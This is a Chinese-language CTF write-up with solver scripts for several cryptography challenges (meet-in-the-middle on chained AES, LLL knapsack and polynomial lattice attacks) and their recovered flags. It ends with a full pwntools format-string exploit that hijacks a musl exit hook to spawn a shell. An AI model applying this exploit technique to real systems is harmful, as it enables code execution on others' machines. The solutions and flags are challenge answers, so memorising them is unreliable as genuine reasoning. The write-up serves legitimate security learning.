周末也没怎么作,加上题比较难就看了看,等着周一小鸡块的WP
Crypto
4ES
from hashlib import sha256
from random import choices
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
with open('flag.txt', 'rb') as f:
FLAG = f.read().strip()
chars = b'crew_AES*4=$!?'
L = 3
w, x, y, z = (
bytes(choices(chars, k=L)),
bytes(choices(chars, k=L)),
bytes(choices(chars, k=L)),
bytes(choices(chars, k=L)),
)
k1 = sha256(w).digest()
k2 = sha256(x).digest()
k3 = sha256(y).digest()
k4 = sha256(z).digest()
print(w.decode(), x.decode(), y.decode(), z.decode())
pt = b'AES_AES_AES_AES!'
ct = AES.new(k4, AES.MODE_ECB).encrypt(
AES.new(k3, AES.MODE_ECB).encrypt(
AES.new(k2, AES.MODE_ECB).encrypt(
AES.new(k1, AES.MODE_ECB).encrypt(
pt
)
)
)
)
key = sha256(w + x + y + z).digest()
enc_flag = AES.new(key, AES.MODE_ECB).encrypt(pad(FLAG, AES.block_size))
with open('output.txt', 'w') as f:
f.write(f'pt = {pt.hex()}\nct = {ct.hex()}\nenc_flag = {enc_flag.hex()}')
爆破空间不大,总共有4层可以两层加密两款层解密,进行中途相遇攻击。签到都这样了。
#中途相遇攻击
pt = b'AES_AES_AES_AES!'
ct = bytes.fromhex('edb43249be0d7a4620b9b876315eb430')
chars = 'crew_AES*4=$!?'
import itertools
from Crypto.Cipher import AES
from hashlib import sha256
mc1 = {}
mc2 = {}
for i in itertools.product(chars, repeat=6):
k12 = ''.join(i)
k1 = sha256(k12[:3].encode()).digest()
k2 = sha256(k12[3:].encode()).digest()
m1 = AES.new(k2, AES.MODE_ECB).encrypt(AES.new(k1, AES.MODE_ECB).encrypt(pt))
mc1[m1] = k12
m2 = AES.new(k2, AES.MODE_ECB).decrypt(AES.new(k1, AES.MODE_ECB).decrypt(ct))
mc2[m2] = k12
if m1 in mc2:
print(mc1[m1], mc2[m1])
elif m2 in mc1:
print(mc1[m2], mc2[m2])
#_c*A?S A_*c=e
#验证key
w = b'_c*'
x = b'A?S'
z = b'A_*'
y = b'c=e'
'''
k1 = sha256(w).digest()
k2 = sha256(x).digest()
k3 = sha256(y).digest()
k4 = sha256(z).digest()
ct = AES.new(k4, AES.MODE_ECB).encrypt(
AES.new(k3, AES.MODE_ECB).encrypt(
AES.new(k2, AES.MODE_ECB).encrypt(
AES.new(k1, AES.MODE_ECB).encrypt(
print(pt)
)
)
)
)
'''
enc_flag = bytes.fromhex('e5218894e05e14eb7cc27dc2aeed10245bfa4426489125a55e82a3d81a15d18afd152d6c51a7024f05e15e1527afa84b')
key = sha256(w + x + y + z).digest()
flag = AES.new(key, AES.MODE_ECB).decrypt(enc_flag)
#crew{m1tm_at74cK_1s_g0lD_4nd_py7h0n_i5_sl0w!!}
Read between the lines
#!/usr/bin/env python3
from random import shuffle
from Crypto.Util.number import getPrime
with open('flag.txt', 'rb') as f:
FLAG = f.read().strip()
assert len(FLAG) < 100
encoded_flag = []
for i, b in enumerate(FLAG):
encoded_flag.extend([i + 0x1337] * b)
shuffle(encoded_flag)
e = 65537
p, q = getPrime(1024), getPrime(1024)
n = p * q
c = sum(pow(m, e, n) for m in encoded_flag) % n
with open('output.txt', 'w') as f:
f.write(f'{n = }\n{e = }\n{c = }\n')
这题还真虎了一下,就是这句 [i+0x1337]*b 这一开始看成直接乘,其实这是b个这个值。那就是个加法 a0*k0 + a1*k1 + ... =0 很简单这就是个背包问题,系数都很小128以内。长度不清楚但说明小于100先弄个99吧
k = 99
A = matrix(ZZ,1,k+1,[int(pow(i+0x1337,e,n)) for i in range(k)]+[n])
M = block_matrix(ZZ, [[1,A.T],[matrix(ZZ,1,k+1,[0]*(k+1)),-c]])
L = M.LLL()[0]
#(99, 114, 101, 119, 123, 68, 49, 100, 95, 121, 48, 117, 95, 51, 120, 112, 51, 99, 84, 95, 76, 76, 76, 95, 116, 48, 95, 98, 51, 95, 104, 49, 68, 100, 51, 110, 95, 98, 51, 116, 119, 51, 101, 110, 95, 116, 104, 51, 95, 108, 49, 110, 51, 115, 63, 63, 63, 125, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -2481, 0)
bytes(L[0][:80])
#b'crew{D1d_y0u_3xp3cT_LLL_t0_b3_h1Dd3n_b3tw3en_th3_l1n3s???}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Boring LCG
import os
from sage.all import *
set_random_seed(1337)
Fp = GF(6143872265871328074704442651454311068421530353607832481181)
a, b = Fp.random_element(), Fp.random_element()
flag = (os.getenv('flag') or 'crew{submit_this_if_desperate}').encode()
s = Fp.from_integer(int.from_bytes(flag[len('crew{'):-len('}')], 'big'))
out = []
for _ in range(12): out.extend(s:=a*s+b)
print([x>>57 for x in out])
# [50, 32, 83, 12, 49, 34, 81, 101, 46, 108, 106, 57, 105, 115, 102, 51, 67, 34, 124, 15, 125, 117, 51, 124, 38, 10, 30, 76, 125, 27, 89, 14, 50, 93, 88, 56]
这题一看很简单是个LCG给高位,再一看p不是素数是p^3,这里的a,b参数都是随机值但给了种子,也就都给了。三次扩域的不清楚。详见小鸡块WP
Bigger and better
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
from secrets import randbelow, choice
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from string import ascii_letters, digits
from flag import flag
key = "".join([choice(ascii_letters + digits) for i in range(150)]).encode()
blocklen = len(key)//5
polsize = 25
maxexp = 3
V, W, X, Y, Z = [bytes_to_long(b) for b in [key[blocklen*i:blocklen*i+blocklen] for i in range(5)]]
n = getPrime(4096)*getPrime(4096)*getPrime(4096)*getPrime(4096)
n = n^2
K = Zmod(n)
PP.<v, w, x, y, z> = PolynomialRing(K)
coeffs = [K.random_element() for i in range(polsize)]
pol = 0
for l in range(polsize):
while True:
i, j, k, s, t = [randbelow(maxexp) for _ in range(5)]
if i == j == k == s == t == 0: continue
pol = pol + coeffs[l] * v^i * w^j * x^k * y^s * z^t
if len(pol.coefficients()) == l + 1:
break
c = pol(V, W, X, Y, Z)
pol = pol - c
assert pol(V, W, X, Y, Z) == 0
key = sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
c = cipher.encrypt(pad(flag, 16)).hex()
with open("output.txt", "w") as f:
f.write(f"{blocklen = }\n")
f.write(f"{n = }\n")
f.write(f"{pol = }\n")
f.write(f"{c = }\n")
题没看,后来看WP不是很难。数有点大,就是5个未知量都是30字符240位,系数全给了结果也给了,还是背包问题,但这里由于未知量的规模不同需要配平一下,然后得到的是未知量的组合再除下。同上见小鸡块WP,下边是看着WP作的复现笔记。
from Crypto.Util.number import *
from hashlib import sha256
from Crypto.Cipher import AES
blocklen = 30
n = ...
K = Zmod(n)
PP.<v, w, x, y, z> = PolynomialRing(K)
pol = ...
c = '92bbb516b6e04ac3c39df6834328028fc4525cd5c97eb220bf7be20d6d6db596'
coeff = pol.coefficients() #系数部分
print(pol.monomials()) #变量部分
#[v^2*w^2*x*y^2*z^2, v^2*w*x^2*y^2*z, v*w^2*x*y^2*z^2, v*w^2*x^2*z^2, v^2*x^2*y*z^2, w^2*x*y^2*z^2, v^2*w^2*x*z, v^2*w*x^2*z, v*x^2*y^2*z, v^2*w*x*z^2, v*w^2*y*z^2, v*x^2*y*z^2, x^2*y^2*z^2, w^2*y^2*z, w*x^2*z^2, w*x*y*z^2, w*y^2*z^2, v*w^2*x, w^2*x^2, v^2*x*z, v*w*y*z, v*x*y*z, w*x*z, x*z^2, w*x, 1]
L = block_matrix(ZZ,[
[1,Matrix(ZZ,coeff).T],
[0,n]
])
#类似背包问题,针对变量的度不同,每项乘以相应的系数使各项规模大概相同
for i,j in enumerate(pol.monomials()):
L[i,i] *= (256^30)^(9-j.degree()) #乘以9-对应的变量的度 对齐(补足9变量长度)
L[:,-1:] *= n #所有行最后列乘以n
res = L.LLL()
#将结果除以系数,得到变量结果
tt = []
for i,j in zip(pol.monomials(),res[0]):
tt.append(j // (256^30)^(9-i.degree()))
zz = tt[-4]//tt[-2] #wxz/wx
xx = tt[-3]//zz^2 #xzz/zz
ww = tt[-2]//xx #wx/x
vv = tt[-9]//xx//ww^2 #vwwx/x/ww
yy = tt[-5]//vv//xx//zz #vxyz/v/x/z
key = b''.join([long_to_bytes(i) for i in [vv,ww,xx,yy,zz]])
#b'VxOriyvoRuqzPqq3RT6qRiLHzAlMZLJzcO47NDFp0Ub8qG9NGCGm74UuaZUBpswTzI1FxZsiHWLKBQFzLlTLnabORAHTER69pwLFaIMoqq9AcilGu3XCFQOCjDMhXyaXC9FVMUixFihUaLGhmukWcK'
key = sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(bytes.fromhex(c))
print(flag)
#crew{LLL1ne4r1z4ti0n_15_c0oLLL}
PWN
Format muscle
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+108h] [rbp-8h]
v4 = __readfsqword(0x28u);
setbuf((FILE *)&dword_0, 0LL);
do
{
fgets(s, 256, (FILE *)&dword_0);
printf(s);
}
while ( strncmp(s, "quit", 4uLL) );
exit(0);
}
看上去简单的格式化字符串漏洞。特点:
1,这是个muscle的程序ld相当于libc
2,printf不识别 $ 符号,需要用%对齐偏移位置
3,exit(0)退出,不能通过写栈实现ROP,需要找exit_hook
这里的ld与libc不同,需要在里边自己找hook
void __fastcall __noreturn exit(unsigned int a1)
{
sub_1B880(); //调用钩子
sub_75E10();
sub_5A100();
Exit(a1);
}
__int64 sub_1B880()
{
...
result = sub_68D30(&unk_AFE60);
v1 = (_QWORD *)qword_AFC48; //exit_hook -> stack
if ( qword_AFC48 )
{
v2 = dword_AFE64;
result = (unsigned int)--dword_AFE64;
if ( v2 <= 0 )
goto LABEL_4;
while ( 1 )
{
do
{
v3 = v1[(int)result + 33]; // stack+0x118->/bin/sh
v4 = (void (__fastcall *)(__int64))v1[(int)result + 1]; // stack+0x18->system
sub_68E20(&unk_AFE60);
v4(v3); // system(bin/sh)
....
gdb跟进后,发现exit先调用1b880,这里边AFC48指向一个结构,这应该是个钩子,修改这里指到栈里可控位置。结构0处的指针偏移0和32处分别放system,(*)bin/sh
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./format-muscle')
libc = ELF('./libc.so.6')
p = process('./format-muscle')
#gdb.attach(p, "b*0x555555555221\nc")
'''
0x00007fffffffde58│+0x00d8: 0x0000555555555199 → <main+0> endbr64
0x00007fffffffde60│+0x00e0: 0x0000000000000001
0x00007fffffffde68│+0x00e8: 0x00007fffffffded8 → 0x00007fffffffe22e → "/home/kali/ctf/2408/crew/fmt_muscle/format-muscle"
0x00007fffffffde70│+0x00f0: 0x00007fffffffdee8 → 0x00007fffffffe260 → "COLORFGBG=15;0"
0x00007fffffffde78│+0x00f8: 0x00007fffffffded0 → 0x0000000000000001
0x00007fffffffde80│+0x0100: 0x000000008683fbf8
0x00007fffffffde88│+0x0108: 0x1a5b66d916ddf780
0x00007fffffffde90│+0x0110: 0x0000000000000001 ← $rbp
0x00007fffffffde98│+0x0118: 0x00007ffff7f69fde → mov edi, eax
'''
pay = b'%p,'*42+b'END'
p.sendline(pay)
msg = p.recvuntil(b'END').split(b',')
elf.address = int(msg[32],16) - 0x1199
stack = int(msg[34],16) - 0x158
libc.address = int(msg[40],16) - 0x1afde #ld-musl-x86_64.so.1
print(f"{elf.address = :x} {stack = :x} {libc.address = :x}")
#gdb.attach(p, f"b*0x{libc.address+0x1b8c5:x}\nc")
#exit_hook -> stack+0x10
for i in range(6):
v = p64(stack+0x10)[i]
pay = b'%c'*8 + f'%{(v-8)&0xff}c%hhn'.encode() #10
pay = pay.ljust(0x20) + p64(libc.address + 0xafc48 + i)
p.sendline(pay)
'''
0x7ffff7f6a8c5 mov r12, QWORD PTR [rdx+rax*8+0x108]
0x7ffff7f6a8cd mov rbp, QWORD PTR [rdx+rax*8+0x8]
0x7ffff7f6a8d2 call 0x7ffff7fb7e20
→ 0x7ffff7f6a8d7 mov rdi, r12
0x7ffff7f6a8da call rbp
'''
#rdx + 0x1f*8 + 0x108 ->/bin/sh
bin_sh = next(libc.search(b'/bin/sh\0'))
for i in range(6):
v = p64(bin_sh)[i]
pay = b'%c'*8 + f'%{(v-8)&0xff}c%hhn'.encode() #10
pay = pay.ljust(0x20) + p64(stack+0x118 + i)
p.sendline(pay)
#rdx + 0x1f*8 + 0x8 -> system
pay = b'quit'*4+flat(stack-0x20*8+0x18,libc.sym['system'])
p.sendline(pay)
p.interactive()
其它的题有时间再慢慢看。(估计无下文了)